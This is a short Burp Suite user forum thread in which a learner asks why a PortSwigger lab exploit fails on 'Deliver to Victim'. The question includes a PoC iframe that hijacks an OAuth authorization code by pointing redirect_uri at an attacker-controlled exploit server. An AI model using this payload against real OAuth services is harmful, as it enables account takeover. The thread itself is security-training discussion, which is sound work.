The Burp Suite User Forum will be discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Centre. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTRE DISCORD

Create new post

OAuth account hijacking via redirect_uri

Andre | Last updated: Jul 25, 2024 08:38AM UTC

I am working on the following lab: https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri I have followed the solution instructions. PoC: <iframe src=https://oauth-0a5a009e035314258017744f02780029.oauth-server.net/auth?client_id=bbqce1dfey29kwqs6iloa&redirect_uri=https://exploit-0a6900b7036a148280c4753501fa00ff.exploit-server.net&response_type=code&scope=openid%20profile%20email></iframe> When I click ‘View Exploit’, the PoC works and I see the code in the access logs. But after storing the payload, and then clicking ‘Deliver to Victim’, no code arrives. Is this a bug?

Ben, PortSwigger Agent | Last updated: Jul 25, 2024 08:41AM UTC

Hi Andre, As noted in your other forum post - we have received your email about this so we will respond from there in due course.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.